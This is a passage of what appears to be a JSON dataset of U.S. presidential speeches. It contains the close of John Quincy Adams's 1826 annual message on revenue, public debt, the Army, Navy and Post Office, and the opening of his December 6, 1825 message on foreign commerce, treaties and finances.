Confederacy, which will also be laid before\nthe Senate for their advice with regard to its ratification.In adverting to the present condition of our fiscal concerns and to the\nprospects of our revenue the first remark that calls our attention is\nthat they are less exuberantly prosperous than they were at the\ncorresponding period of the last year. The severe shock so extensively\nsustained by the commercial and manufacturing interests in Great\nBritain has not been without a perceptible recoil upon ourselves. A\nreduced importation from abroad is necessarily succeeded by a reduced\nreturn to the Treasury at home. The net revenue of the present year\nwill not equal that of the last, and the receipts of that which is to\ncome will fall short of those in the current year. The diminution,\nhowever, is in part attributable to the flourishing condition of some\nof our domestic manufactures, and so far is compensated by an\nequivalent more profitable to the nation.It is also highly gratifying to perceive that the deficiency in the\nrevenue, while it scarcely exceeds the anticipations of the last year's\nestimate from the Treasury, has not interrupted the application of more\nthan $11 millions during the present year to the discharge of the\nprincipal and interest of the debt, nor the reduction of upward of\n$7,000,000 of the capital of the debt itself. The balance in the\nTreasury on the first of January last was $5,201,650.43; the receipts\nfrom that time to the 30th of September last were $19,585,932.50; the\nreceipts of the current quarter, estimated at $6,000,000, yield, with\nthe sums already received, a revenue of about $25,500,000 for the year;\nthe expenditures for the first 3 quarters of the year have amounted to\n$18,714,226.66; the expenditures of the current quarter are expected,\nincluding the $2,000,000 of the principal of the debt to be paid, to\nbalance the receipts; so that the expense of the year, amounting to\nupward of $1,000,000 less than its income, will leave a proportionally\nincreased balance in the Treasury on January 1st, 1827, over that of\nthe first of January last; instead of $5,200,000 there will be\n$6,400,000.The amount of duties secured on merchandise imported from the commence\nof the year 'til September 30 is estimated at $21,250,000, and the\namount that will probably accrue during the present quarter is\nestimated at $4,250,000, making for the whole year $25,500,000, from\nwhich the draw-backs being deducted will leave a clear revenue from the\ncustoms receivable in the year 1827 of about $20,400,000, which, with\nthe sums to be received from the proceeds of public lands, the bank\ndividends, and other incidental receipts, will form an aggregate of\nabout $23,000,000, a sum falling short of the whole expenses of the\npresent year little more than the portion of those expenditures applied\nto the discharge of the public debt beyond the annual appropriation of\n$10,000,000 by the act of March 3d, 1817. At the passage of that act\nthe public debt amounted to $123,500,000. On the first of January next\nit will be short of $74,000,000. In the lapse of these 10 years\n$50,000,000 of public debt, with the annual charge of upward of\n$3,000,000 of interest upon them, have been extinguished. At the\npassage of tat act, of the annual appropriation of $10,000,000,\n$7,000,000 were absorbed in the payment of interest, and not more than\n$3,000,000 went to reduce the capital of the debt. Of the same\n$10,000,000, at this time scarcely $4,000,000 are applicable to the\ninterest and upward of $6,000,000 are effective in melting down the\ncapital.Yet our experience has proved that a revenue consisting so largely of\nimposts and tonnage ebbs and flows to an extraordinary extent, with all\nthe fluctuations incident to the general commerce of the world. It is\nwithin our recollection that even in the compass of the same last ten\nyears the receipts of the Treasury were not adequate to the\nexpenditures of the year, and that in two successive years it was found\nnecessary to resort to loans to meet the engagements of the nation. The\nreturning tides of the succeeding years replenished the public coffers\nuntil they have again begun to feel the vicissitude of a decline. To\nproduce these alternations of fullness and exhaustion the relative\noperation of abundant or unfruitful seasons, the regulations of foreign\ngovernments, political revolutions, the prosperous or decaying\ncondition of manufactures, commercial speculations, and many other\ncauses, not always to be traced, variously combine.We have found the alternate swells and diminutions embracing periods of\nfrom two to three years. The last period of depression to United States\nwas from 1819 to 1822. The corresponding revival was from 1823 to the\ncommencement of the present year. Still, we have no cause to apprehend\na depression comparable to that of the former period, or even to\nanticipate a deficiency which will intrench upon the ability to apply\nthe annual $10 millions to the reduction of the debt. It is well for\nus, however, to be admonished of the necessity of abiding by the maxims\nof the most vigilant economy, and of resorting to all honorable and\nuseful expedients for pursuing with steady and inflexible perseverance\nthe total discharge of the debt.Besides the $7,000,000 of the loans of 1813 which will have been\ndischarged in the course of the present year, there are $9,000,000\nwhich by the terms of the contracts would have been and are now\nredeemable. $13,000,000 more of the loan of 1814 will become redeemable\nfrom and after the expiration of the present month, and $9,000,000\nother from and after the close of the ensuing year. They constitute a\nmass of $31,000,000, all bearing an interest of 6%, more than\n$20,000,000 of which will be immediately redeemable, and the rest\nwithin little more than a year. Leaving of this amount $15,000,000 to\ncontinue at the interest of 6%, but to be paid off as far as shall be\nfound practicable in the years 1827 and 1828, there is scarcely a doubt\nthat the remaining $16,000,000 might within a few months be discharged\nby a loan at not exceeding 5%, redeemable in the years 1829 and 1830.\nBy this operation a sum of nearly $500,000 may be saved to the nation,\nand the discharge of the whole $31,000,000 within the four years may be\ngreatly facilitated if not wholly accomplished.By an act of Congress of March 3d, 1825, a loan for the purpose now\nreferred to, or a subscription to stock, was authorized, at an interest\nnot exceeding 4.5%. But at that time so large a portion of the floating\ncapital of the country was absorbed in commercial speculations and so\nlittle was left for investment in the stocks that the measure was but\npartially successful. At the last session of Congress the condition of\nthe funds was still unpropitious to the measure; but the change so soon\nafterwards occurred that, had the authority existed to redeem the $9\nmillions now redeemable by an exchange of stocks or a loan at 5%, it is\nmorally certain that it might have been effected, and with it a yearly\nsaving of $90,000.With regard to the collection of the revenue of imposts, certain\noccurrences have within the last year been disclosed in one or two of\nour principal ports, which engaged the attention of Congress at their\nlast session and may hereafter require further consideration. Until\nwithin a very few years the execution of the laws for raising the\nrevenue, like that of all our other laws, has been insured more by the\nmoral sense of the community than by the rigors of a jealous precaution\nor by penal sanction. Confiding in the exemplary punctuality and\nunsullied integrity of our importing merchants, a gradual relaxation\nfrom the provisions of the collection laws, a close adherence to which\nhave caused inconvenience and expense to them, had long become\nhabitual, and indulgences had been extended universally because they\nhad never been abused. It may be worthy of your serious consideration\nwhether some further legislative provision may not be necessary to come\nin aid of this state of unguarded security.From the reports herewith communicated of the Secretaries of War and of\nthe Navy, with the subsidiary documents annexed to them, will be\ndiscovered the present condition and administration of our military\nestablishment on the land and on the sea. The organization of the Army\nhaving undergone no change since its reduction to the present peace\nestablishment in 1821, it remains only to observe that it is yet found\nadequate to all the purposes for which a permanent armed force in time\nof peace can be needed or useful. It may be proper to add that, from a\ndifference of opinion between the late President of the United States\nand the Senate with regard to the construction of the act of Congress\nof March 2d, 1821, to reduce and fix the military peace establishment\nof the United States, it remains hitherto so far without execution that\nno colonel has been appointed to command one of the regiments of\nartillery. A supplementary or explanatory act of the Legislature\nappears to be the only expedient practicable for removing the\ndifficulty of this appointment.In a period of profound peace the conduct of the mere military\nestablishment forms but a very inconsiderable portion of the duties\ndevolving upon the administration of the Department of War. It will be\nseen by the returns from the subordinate departments of the Army that\nevery branch of the service is marked with order, regularity, and\ndiscipline; that from the commanding general through all the gradations\nof superintendence the officers feel themselves to have been citizens\nbefore they were soldiers, and that the glory of a republican army must\nconsist in the spirit of freedom, by which it is animated, and of\npatriotism, by which it is impelled. It may be confidently stated that\nthe moral character of the Army is in a state of continual improvement,\nand that all the arrangements for the disposal of its parts have a\nconstant reference to that end.But to the War Department are attributed other duties, having, indeed,\nrelation to a future possible condition of war, but being purely\ndefensive, and in their tendency contributing rather to the security\nand permanency of peace--the erection of the fortifications provided\nfor by Congress, and adapted to secure our shores from hostile\ninvasion; the distribution of the fund of public gratitude and justice\nto the pensioners of the Revolutionary war; the maintenance of our\nrelations of peace and protection with the Indian tribes, and the\ninternal improvements and surveys for the location of roads and canals,\nwhich during the last three sessions of Congress have engaged so much\nof their attention, and may engross so large a share of their future\nbenefactions to our country.By the act of April 30th, 1824, suggested and approved by my\npredecessor, the sum of $30,000 was appropriated for the purpose of\ncausing to be made the necessary surveys, plans, and estimates of the\nroutes of such roads and canals as the President of the United States\nmight deem of national importance in a commercial or military point of\nview, or necessary for the transportation of the public mail. The\nsurveys, plans, and estimates for each, when completed, will be laid\nbefore Congress.In execution of this act a board of engineers was immediately\ninstituted, and have been since most assiduously and constantly\noccupied in carrying it into effect. The first object to which their\nlabors were directed, by order of the late President, was the\nexamination of the country between the tide waters of the Potomac, the\nOhio, and Lake Erie, to ascertain the practicability of a communication\nbetween them, to designate the most suitable route for the same, and to\nform plans and estimates in detail of the expense of execution.On March 2d, 1825, they made their first report, which was immediately\ncommunicated to Congress, and in which they declared that having\nmaturely considered the circumstances observed by them personally, and\ncarefully studied the results of such of the preliminary surveys as\nwere then completed, they were decidedly of opinion that the\ncommunication was practicable.At the last session of Congress, before the board of engineers were\nenabled to make up their second report containing a general plan and\npreparatory estimate for the work, the Committee of the House of\nRepresentatives upon Roads and Canals closed the session with a report\nexpressing the hope that the plan and estimate of the board of\nengineers might at this time be prepared, and that the subject be\nreferred to the early and favorable consideration of Congress at their\npresent session. That expected report of the board of engineers is\nprepared, and will forthwith be laid before you.Under the resolution of Congress authorizing the Secretary of War to\nhave prepared a complete system of cavalry tactics, and a system of\nexercise and instruction of field artillery, for the use of the militia\nof the United States, to be reported to Congress at the present\nsession, a board of distinguished officers of the Army and of the\nmilitia has been convened, whose report will be submitted to you with\nthat of the Secretary of War. The occasion was thought favorable for\nconsulting the same board, aided by the results of a correspondence\nwith the governors of the several States and Territories and other\ncitizens of intelligence and experience, upon the acknowledged\ndefective condition of our militia system, and of the improvements of\nwhich it is susceptible. The report of the board upon this subject is\nalso submitted for your consideration.In the estimates of appropriations for the ensuing year upward of $5\nmillions will be submitted for the expenditures to be paid from the\nDepartment of War. Less than two fifths of this will be applicable to\nthe maintenance and support of the Army. $1,500,000, in the form of\npensions, goes as a scarcely adequate tribute to the services and\nsacrifices of a former age, and a more than equal sum invested in\nfortifications, or for the preparations of internal improvement,\nprovides for the quiet, the comfort, and happier existence of the ages\nto come. The appropriations to indemnify those unfortunate remnants of\nanother race unable alike to share in the enjoyments and to exist in\nthe presence of civilization, though swelling in recent years to a\nmagnitude burdensome to the Treasury, are generally not without their\nequivalents in profitable value, or serve to discharge the Union from\nengagements more burdensome than debt.In like manner the estimate of appropriations for the Navy Department\nwill present an aggregate sum of upward of $3,000,000. About half of\nthese, however, covers the current expenditures of the Navy in actual\nservice, and half constitutes a fund of national property, the pledge\nof our future glory and defense. It was scarcely one short year after\nthe close of the late war, and when the burden of its expenses and\ncharges was weighing heaviest upon the country, that Congress, by the\nact of April 29th, 1816, appropriated $1,000,000 annually for eight\nyears to the gradual increase of the Navy. At a subsequent period this\nannual appropriation was reduced to $500,000 for six years, of which\nthe present year is the last. A yet more recent appropriation the last\ntwo years, for building ten sloops of war, has nearly restored the\noriginal appropriation of 1816 of $1,000,000 for every year.The result is before United States all. We have 12 line-of-battle\nships, 20 frigates, and sloops of war in proportion, which, with a few\nmonths preparation, may present a line of floating fortifications along\nthe whole range of our coast ready to meet any invader who might\nattempt to set foot upon our shores. Combining with a system of\nfortifications upon the shores themselves, commenced about the same\ntime under the auspices of my immediate predecessor, and hitherto\nsystematically pursued, it has placed in our possession the most\neffective sinews of war and has left us at once an example and a lesson\nfrom which our own duties may be inferred.The gradual increase of the Navy was the principle of which the act of\nApril 29th, 1816, was the first development. It was the introduction of\na system to act upon the character and history of our country for an\nindefinite series of ages. It was a declaration of that Congress to\ntheir constituents and to posterity that it was the destiny and the\nduty of these confederated States to become in regular process of time\nand by no petty advances a great naval power. That which they proposed\nto accomplish in eight years is rather to be considered as the measure\nof their means that the limitation of their design. They looked forward\nfor a term of years sufficient for the accomplishment of a definite\nportion of their purpose, and they left to their successors to fill up\nthe canvas of which they had traced the large and prophetic outline.\nThe ships of the line and frigates which they had in contemplation will\nbe shortly completed. The time which they had allotted for the\naccomplishment of the work has more than elapsed. It remains for your\nconsideration how their successors may contribute their portion of toil\nand of treasure for the benefit of the succeeding age in the gradual\nincrease of our Navy.There is perhaps no part of the exercise of the constitutional powers\nof the Federal Government which has given more general satisfaction to\nthe people of the Union than this. The system has not been thus\nvigorously introduced and hitherto sustained to be now departed from or\nabandoned. In continuing to provide for the gradual increase of the\nNavy it may not be necessary or expedient to add for the present any\nmore to the number of our ships; but should you deem it advisable to\ncontinue the yearly appropriation of $0.5 millions to the same objects,\nit may be profitably expended in a providing a supply of timber to be\nseasoned and other materials for future use in the construction of\ndocks or in laying the foundations of a school for naval education, as\nto the wisdom of Congress either of those measures may appear to claim\nthe preference.Of the small portions of this Navy engaged in actual service during the\npeace, squadrons have continued to be maintained in the Pacific Ocean,\nin the West India seas, and in the Mediterranean, to which has been\nadded a small armament to cruise on the eastern coast of South America.\nIn all they have afforded protection to our commerce, have contributed\nto make our country advantageously known to foreign nations, have\nhonorably employed multitudes of our sea men in the service of their\ncountry, and have inured numbers of youths of the rising generation to\nlives of manly hardihood and of nautical experience and skill.The piracies with which the West India seas were for several years\ninfested have been totally suppressed, but in the Mediterranean they\nhave increased in a manner afflictive to other nations, and but for the\ncontinued presence of our squadron would probably have been distressing\nto our own.The war which has unfortunately broken out between the Republic of\nBuenos Ayres and the Brazilian Government has given rise to very great\nirregularities among the naval officers of the latter, by whom\nprinciples in relation to blockades and to neutral navigation have been\nbrought forward to which we can not subscribe and which our own\ncommanders have found it necessary to resist. From the friendly\ndisposition toward the United States constantly manifested by the\nEmperor of Brazil, and the very useful and friendly commercial\nintercourse between the United States and his dominions, we have reason\nto believe that the just reparation demanded for the injuries sustained\nby several of our citizens from some of his officers will not be\nwithheld. Abstracts from the recent dispatches of the commanders of our\nseveral squadrons are communicated with the report of the Secretary of\nthe Navy to Congress.A report from the Post Master General is likewise communicated,\npresenting in a highly satisfactory manner the result of a vigorous,\nefficient, and economical administration of that Department. The\nrevenue of the office, even of the year including the latter half of\n1824 and the first half of 1825, had exceeded its expenditures by a sum\nof more than $45,000. That of the succeeding year has been still more\nproductive. The increase of the receipts in the year preceding the\nfirst of July last over that of the year before exceeds $136,000, and\nthe excess of the receipts over the expenditures of the year has\nswollen from $45,000 to yearly $80,000.During the same period contracts for additional transportation of the\nmail in stages for about 260,000 miles have been made, and for 70,000\nmiles annually on horse back. 714 new post offices have been\nestablished within the year, and the increase of revenue within the\nlast three years, as well as the augmentation of the transportation by\nmail, is more than equal to the whole amount of receipts and of mail\nconveyance at the commencement of the present century, when the seat of\nthe General Government was removed to this place. When we reflect that\nthe objects effected by the transportation of the mail are among the\nchoicest comforts and enjoyments of social life, it is pleasing to\nobserve that the dissemination of them to every corner of our country\nhas out-stripped in their increase even the rapid march of our\npopulation.By the treaties with France and Spain, respectively ceding Louisiana\nand the Floridas to the United States, provision was made for the\nsecurity of land titles derived from the Governments of those nations.\nSome progress has been made under the authority of various acts of\nCongress in the ascertainment and establishment of those titles, but\nclaims to a very large extent remain unadjusted. The public faith no\nless than the just rights of individuals and the interest of the\ncommunity itself appears to require further provision for the speedy\nsettlement of those claims, which I therefore recommend to the care and\nattention of the Legislature.In conformity with the provisions of the act of May 20th, 1825, to\nprovide for erecting a penitentiary in the District of Columbia, and\nfor other purposes, three commissioners were appointed to select a site\nfor the erection of a penitentiary for the District, and also a site in\nthe county of Alexandria for a county jail, both of which objects have\nbeen effected. The building of the penitentiary has been commenced, and\nis in such a degree of forwardness as to promise that it will be\ncompleted before the meeting of the next Congress. This consideration\npoints to the expediency of maturing at the present session a system\nfor the regulation and government of the penitentiary, and of defining\na system for the regulation and government of the penitentiary, and of\ndefining the class of offenses which shall be punishable by confinement\nin this edifice.In closing this communication I trust that it will not be deemed\ninappropriate to the occasion and purposes upon which we are here\nassembled to indulge a momentary retrospect, combining in a single\nglance the period of our origin as a national confederation with that\nof our present existence, at the precise interval of half a century\nfrom each other. Since your last meeting at this place the 50th\nanniversary of the day when our independence was declared has been\ncelebrated throughout our land, and on that day, while every heart was\nbounding with joy and every voice was tuned to gratulation, amid the\nblessings of freedom and independence which the sires of a former age\nhad handed down to their children, two of the principal actors in that\nsolemn scene--the hand that penned the ever memorable Declaration and\nthe voice that sustained it in debate--were by one summons, at the\ndistance of 700 miles from each other, called before the Judge of All\nto account for their deeds done upon earth. They departed cheered by\nthe benedictions of their country, to whom they left the inheritance of\ntheir fame and the memory of their bright example.If we turn our thoughts to the condition of their country, in the\ncontrast of the first and last day of that half century, how\nresplendent and sublime is the transition from gloom to glory! Then,\nglancing through the same lapse of time, in the condition of the\nindividuals we see the first day marked with the fullness and vigor of\nyouth, in the pledge of their lives, their fortunes, and their sacred\nhonor to the cause of freedom and of man-kind; and on the last,\nextended on the bed of death, with but sense and sensibility left to\nbreathe a last aspiration to Heaven of blessing upon their country, may\nwe not humbly hope that to them too it was a pledge of transition from\ngloom to glory, and that while their mortal vestments were sinking into\nthe clod of the valley their emancipated spirits were ascending to the\nbosom of their God!JOHN QUINCY ADAMS", 
+    "name": "John Quincy Adams"
+}
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+{
+    "date": "December 6, 1825", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:In taking a general survey of the concerns of our beloved country, with\nreference to subjects interesting to the common welfare, the first\nsentiment which impresses itself upon the mind is of gratitude to the\nOmnipotent Disposer of All Good for the continuance of the signal\nblessings of His providence, and especially for that health which to an\nunusual extent has prevailed within our borders, and for that abundance\nwhich in the vicissitudes of the seasons has been scattered with\nprofusion over our land. Nor ought we less to ascribe to Him the glory\nthat we are permitted to enjoy the bounties of His hand in peace and\ntranquillity--in peace with all the other nations of the earth, in\ntranquillity among our selves. There has, indeed, rarely been a period\nin the history of civilized man in which the general condition of the\nChristian nations has been marked so extensively by peace and\nprosperity.Europe, with a few partial and unhappy exceptions, has enjoyed ten\nyears of peace, during which all her Governments, what ever the theory\nof their constitutions may have been, are successively taught to feel\nthat the end of their institution is the happiness of the people, and\nthat the exercise of power among men can be justified only by the\nblessings it confers upon those over whom it is extended.During the same period our intercourse with all those nations has been\npacific and friendly; it so continues. Since the close of your last\nsession no material variation has occurred in our relations with any\none of them. In the commercial and navigation system of Great Britain\nimportant changes of municipal regulation have recently been sanctioned\nby acts of Parliament, the effect of which upon the interests of other\nnations, and particularly upon ours, has not yet been fully developed.\nIn the recent renewal of the diplomatic missions on both sides between\nthe two Governments assurances have been given and received of the\ncontinuance and increase of the mutual confidence and cordiality by\nwhich the adjustment of many points of difference had already been\neffected, and which affords the surest pledge for the ultimate\nsatisfactory adjustment of those which still remain open or may\nhereafter arise.The policy of the United States in their commercial intercourse with\nother nations has always been of the most liberal character. In the\nmutual exchange of their respective productions they have abstained\naltogether from prohibitions; they have interdicted themselves the\npower of laying taxes upon exports, and when ever they have favored\ntheir own shipping by special preferences or exclusive privileges in\ntheir own ports it has been only with a view to countervail similar\nfavors and exclusions granted by the nations with whom we have been\nengaged in traffic to their own people or shipping, and to the\ndisadvantage of ours. Immediately after the close of the last war a\nproposal was fairly made by the act of Congress of March 3rd, 1815, to\nall the maritime nations to lay aside the system of retaliating\nrestrictions and exclusions, and to place the shipping of both parties\nto the common trade on a footing of equality in respect to the duties\nof tonnage and impost. This offer was partially and successively\naccepted by Great Britain, Sweden, the Netherlands, the Hanseatic\ncities, Prussia, Sardinia, the Duke of Oldenburg, and Russia. It was\nalso adopted, under certain modifications, in our late commercial\nconvention with France, and by the act of Congress of January 1st,\n1824, it has received a new confirmation with all the nations who had\nacceded to it, and has been offered again to all those who are or may\nhere after be willing to abide in reciprocity by it. But all these\nregulations, whether established by treaty or by municipal enactments,\nare still subject to one important restriction.The removal of discriminating duties of tonnage and of impost is\nlimited to articles of the growth, produce, or manufacture of the\ncountry to which the vessel belongs or to such articles as are most\nusually first shipped from her ports. It will deserve the serious\nconsideration of Congress whether even this remnant of restriction may\nnot be safely abandoned, and whether the general tender of equal\ncompetition made in the act of January 8th, 1824, maynot be extended to\ninclude all articles of merchandise not prohibited, of what country so\never they may be the produce or manufacture. Propositions of this\neffect have already been made to us by more than one European\nGovernment, and it is probable that if once established by legislation\nor compact with any distinguished maritime state it would recommend\nitself by the experience of its advantages to the general accession of\nall.The convention of commerce and navigation between the United States and\nFrance, concluded on June 24th, 1822, was, in the understanding and\nintent of both parties, as appears upon its face, only a temporary\narrangement of the points of difference between them of the most\nimmediate and pressing urgency. It was limited in the first instance to\ntwo years from January 10th, 1822, but with a proviso that it should\nfurther continue in force 'til the conclusion of a general and\ndefinitive treaty of commerce, unless terminated by a notice, six\nmonths in advance, of either of the parties to the other. Its operation\nso far as it extended has been mutually advantageous, and it still\ncontinues in force by common consent. But it left unadjusted several\nobjects of great interest to the citizens and subjects of both\ncountries, and particularly a mass of claims to considerable amount of\ncitizens of the United States upon the Government of France of\nindemnity for property taken or destroyed under circumstances of the\nmost aggravated and outrageous character. In the long period during\nwhich continual and earnest appeals have been made to the equity and\nmagnanimity of France in behalf of these claims their justice has not\nbeen, as it could not be, denied.It was hoped that the accession of a new Sovereign to the throne would\nhave afforded a favorable opportunity for presenting them to the\nconsideration of his Government. They have been presented and urged\nhither to without effect. The repeated and earnest representations of\nour minister at the Court of France remain as yet even without an\nanswer. Were the demands of nations upon the justice of each other\nsusceptible of adjudication by the sentence of an impartial tribunal,\nthose to which I now refer would long since have been settled and\nadequate indemnity would have been obtained.There are large amounts of similar claims upon the Netherlands, Naples,\nand Denmark. For those upon Spain prior to 1819 indemnity was, after\nmany years of patient forbearance, obtained; and those upon Sweden have\nbeen lately compromised by a private settlement, in which the claimants\nthemselves have acquiesced. The Governments of Denmark and of Naples\nhave been recently reminded of those yet existing against them, nor\nwill any of them be forgotten while a hope may be indulged of obtaining\njustice by the means within the constitutional power of the Executive,\nand without resorting to those means of self-redress which, as well as\nthe time, circumstances, and occasion which may require them, are\nwithin the exclusive competency of the Legislature.It is with great satisfaction that I am enabled to bear witness to the\nliberal spirit with which the Republic of Colombia has made\nsatisfaction for well-established claims of a similar character, and\namong the documents now communicated to Congress will be distinguished\na treaty of commerce and navigation with that Republic, the\nratifications of which have been exchanged since the last recess of the\nLegislature. The negotiation of similar treaties with all of the\nindependent South American States has been contemplated and may yet be\naccomplished. The basis of them all, as proposed by the United States,\nhas been laid in two principles--the one of entire and unqualified\nreciprocity, the other the mutual obligation of the parties to place\neach other permanently upon the footing of the most favored nation.\nThese principles are, indeed, indispensable to the effectual\nemancipation of the American hemisphere from the thralldom of\ncolonizing monopolies and exclusions, an event rapidly realizing in the\nprogress of human affairs, and which the resistance still opposed in\ncertain parts of Europe to the acknowledgment of the Southern American\nRepublics as independent States will, it is believed, contribute more\neffectually to accomplish. The time has been, and that not remote, when\nsome of those States might, in their anxious desire to obtain a nominal\nrecognition, have accepted of a nominal independence, clogged with\nburdensome conditions, and exclusive commercial privileges granted to\nthe nation from which they have separated to the disadvantage of all\nothers. They are all now aware that such concessions to any European\nnation would be incompatible with that independence which they have\ndeclared and maintained.Among the measures which have been suggested to them by the new\nrelations with one another, resulting from the recent changes in their\ncondition, is that of assembling at the Isthmus of Panama a congress,\nat which each of them should be represented, to deliberate upon objects\nimportant to the welfare of all. The Republics of Colombia, of Mexico,\nand of Central America have already deputed plenipotentiaries to such a\nmeeting, and they have invited the United States to be also represented\nthere by their ministers. The invitation has been accepted, and\nministers on the part of the United States will be commissioned to\nattend at those deliberations, and to take part in them so far as may\nbe compatible with that neutrality from which it is neither our\nintention nor the desire of the other American States that we should\ndepart.The commissioners under the 7th article of the treaty of Ghent have so\nnearly completed their arduous labors that, by the report recently\nreceived from the agent on the part of the United States, there is\nreason to expect that the commission will be closed at their next\nsession, appointed for May 22 of the ensuing year.The other commission, appointed to ascertain the indemnities due for\nslaves carried away from the United States after the close of the late\nwar, have met with some difficulty, which has delayed their progress in\nthe inquiry. A reference has been made to the British Government on the\nsubject, which, it may be hoped, will tend to hasten the decision of\nthe commissioners, or serve as a substitute for it.Among the powers specifically granted to Congress by the Constitution\nare those of establishing uniform laws on the subject of bankruptcies\nthroughout the United States and of providing for organizing, arming,\nand disciplining the militia and for governing such part of them as may\nbe employed in the services of the United States. The magnitude and\ncomplexity of the interests affected by legislation upon these subjects\nmay account for the fact that, long and often as both of them have\noccupied the attention and animated the debates of Congress, no systems\nhave yet been devised for fulfilling to the satisfaction of the\ncommunity the duties prescribed by these grants of power.To conciliate the claim of the individual citizen to the enjoyment of\npersonal liberty, with the effective obligation of private contracts,\nis the difficult problem to be solved by a law of bankruptcy. These are\nobjects of the deepest interest to society, affecting all that is\nprecious in the existence of multitudes of persons, many of them in the\nclasses essentially dependent and helpless, of the age requiring\nnurture, and of the sex entitled to protection from the free agency of\nthe parent and the husband. The organization of the militia is yet more\nindispensable to the liberties of the country. It is only by an\neffective militia that we can at once enjoy the repose of peace and bid\ndefiance to foreign aggression; it is by the militia that we are\nconstituted an armed nation, standing in perpetual panoply of defense\nin the presence of all the other nations of the earth. To this end it\nwould be necessary, if possible, so to shape its organization as to\ngive it a more united and active energy. There are laws establishing an\nuniform militia throughout the United States and for arming and\nequipping its whole body. But it is a body of dislocated members,\nwithout the vigor of unity and having little of uniformity but the\nname. To infuse into this most important institution the power of which\nit is susceptible and to make it available for the defense of the Union\nat the shortest notice and at the smallest expense possible of time, of\nlife, and of treasure are among the benefits to be expected from the\npersevering deliberations of Congress.Among the unequivocal indications of our national prosperity is the\nflourishing state of our finances. The revenues of the present year,\nfrom all their principal sources, will exceed the anticipations of the\nlast. The balance in the Treasury on the first of January last was a\nlittle short of $2,000,000, exclusive of $2,500,000, being the moiety\nof the loan of $5,000,000 authorized by the act of May 26th, 1824. The\nreceipts into the Treasury from the first of January to the 30th of\nSeptember, exclusive of the other moiety of the same loan, are\nestimated at $16,500,000, and it is expected that those of the current\nquarter will exceed $5,000,000, forming an aggregate of receipts of\nnearly $22,000,000, independent of the loan. The expenditures of the\nyear will not exceed that sum more than $2,000,000. By those\nexpenditures nearly $8,000,000 of the principal of the public debt that\nhave been discharged.More than $1,500,000 has been devoted to the debt of gratitude to the\nwarriors of the Revolution; a nearly equal sum to the construction of\nfortifications and the acquisition of ordnance and other permanent\npreparations of national defense; $500,000 to the gradual increase of\nthe Navy; an equal sum for purchases of territory from the Indians and\npayment of annuities to them; and upward of $1,000,000 for objects of\ninternal improvement authorized by special acts of the last Congress.\nIf we add to these $4,000,000 for payment of interest upon the public\ndebt, there remains a sum of $7,000,000, which have defrayed the whole\nexpense of the administration of Government in its legislative,\nexecutive, and judiciary departments, including the support of the\nmilitary and naval establishments and all the occasional contingencies\nof a government coextensive with the Union.The amount of duties secured on merchandise imported since the\ncommencement of the year is about $25,500,000, and that which will\naccrue during the current quarter is estimated at $5,500,000; from\nthese $31,000,000, deducting the draw-backs, estimated at less than\n$7,000,000, a sum exceeding $24,000,000 will constitute the revenue of\nthe year, and will exceed the whole expenditures of the year. The\nentire amount of the public debt remaining due on the first of January\nnext will be short of $81,000,000.By an act of Congress of the 3d of March last a loan of $12,000,000 was\nauthorized at 4.5%, or an exchange of stock to that amount of 4.5% for\na stock of 6%, to create a fund for extinguishing an equal amount of\nthe public debt, bearing an interest of 6%, redeemable in 1826. An\naccount of the measures taken to give effect to this act will be laid\nbefore you by the Secretary of the Treasury. As the object which it had\nin view has been but partially accomplished, it will be for the\nconsideration of Congress whether the power with which it clothed the\nExecutive should not be renewed at an early day of the present session,\nand under what modifications.The act of Congress of the 3d of March last, directing the Secretary of\nthe Treasury to subscribe, in the name and for the use of the United\nStates, for 1,500 shares of the capital stock of the Chesapeake and\nDelaware Canal Company, has been executed by the actual subscription\nfor the amount specified; and such other measures have been adopted by\nthat officer, under the act, as the fulfillment of its intentions\nrequires. The latest accounts received of this important undertaking\nauthorize the belief that it is in successful progress.The payments into the Treasury from the proceeds of the sales of the\npublic lands during the present year were estimated at $1,000,000. The\nactual receipts of the first two quarters have fallen very little short\nof that sum; it is not expected that the second half of the year will\nbe equally productive, but the income of the year from that source may\nnow be safely estimated at $1,500,000. The act of Congress of May 18th,\n1824, to provide for the extinguishment of the debt due to the United\nStates by the purchasers of public lands, was limited in its operation\nof relief to the purchaser to the 10th of April last. Its effect at the\nend of the quarter during which it expired was to reduce that debt from\n$10,000,000 to $7,000,000 By the operation of similar prior laws of\nrelief, from and since that of March 2d, 1821, the debt had been\nreduced from upward of $22,000,000 to $10,000,000.It is exceedingly desirable that it should be extinguished altogether;\nand to facilitate that consummation I recommend to Congress the revival\nfor one year more of the act of May 18th, 1824, with such provisional\nmodification as may be necessary to guard the public interests against\nfraudulent practices in the resale of the relinquished land.The purchasers of public lands are among the most useful of our fellow\ncitizens, and since the system of sales for cash alone has been\nintroduced great indulgence has been justly extended to those who had\npreviously purchased upon credit. The debt which had been contracted\nunder the credit sales had become unwieldy, and its extinction was\nalike advantageous to the purchaser and to the public. Under the system\nof sales, matured as it has been by experience, and adapted to the\nexigencies of the times, the lands will continue as they have become,\nan abundant source of revenue; and when the pledge of them to the\npublic creditor shall have been redeemed by the entire discharge of the\nnational debt, the swelling tide of wealth with which they replenish\nthe common Treasury may be made to reflow in unfailing streams of\nimprovement from the Atlantic to the Pacific Ocean.The condition of the various branches of the public service resorting\nfrom the Department of War, and their administration during the current\nyear, will be exhibited in the report of the Secretary of War and the\naccompanying documents herewith communicated. The organization and\ndiscipline of the Army are effective and satisfactory. To counteract\nthe prevalence of desertion among the troops it has been suggested to\nwithhold from the men a small portion of their monthly pay until the\nperiod of their discharge; and some expedient appears to be necessary\nto preserve and maintain among the officers so much of the art of\nhorsemanship as could scarcely fail to be found wanting on the possible\nsudden eruption of a war, which should take us unprovided with a single\ncorps of cavalry.The Military Academy at West Point, under the restrictions of a severe\nbut paternal superintendence, recommends itself more and more to the\npatronage of the nation, and the numbers of meritorious officers which\nit forms and introduces to the public service furnishes the means of\nmultiplying the undertakings of the public improvements to which their\nacquirements at that institution are peculiarly adapted. The school of\nartillery practice established at Fortress Monroe Hampton, Virginia is\nwell suited to the same purpose, and may need the aid of further\nlegislative provision to the same end. The reports of the various\nofficers at the head of the administrative branches of the military\nservice, connected with the quartering, clothing, subsistence, health,\nand pay of the Army, exhibit the assiduous vigilance of those officers\nin the performance of their respective duties, and the faithful\naccountability which has pervaded every part of the system.Our relations with the numerous tribes of aboriginal natives of this\ncountry, scattered over its extensive surface and so dependent even for\ntheir existence upon our power, have been during the present year\nhighly interesting. An act of Congress of May 25th, 1824, made an\nappropriation to defray the expenses of making treaties of trade and\nfriendship with the Indian 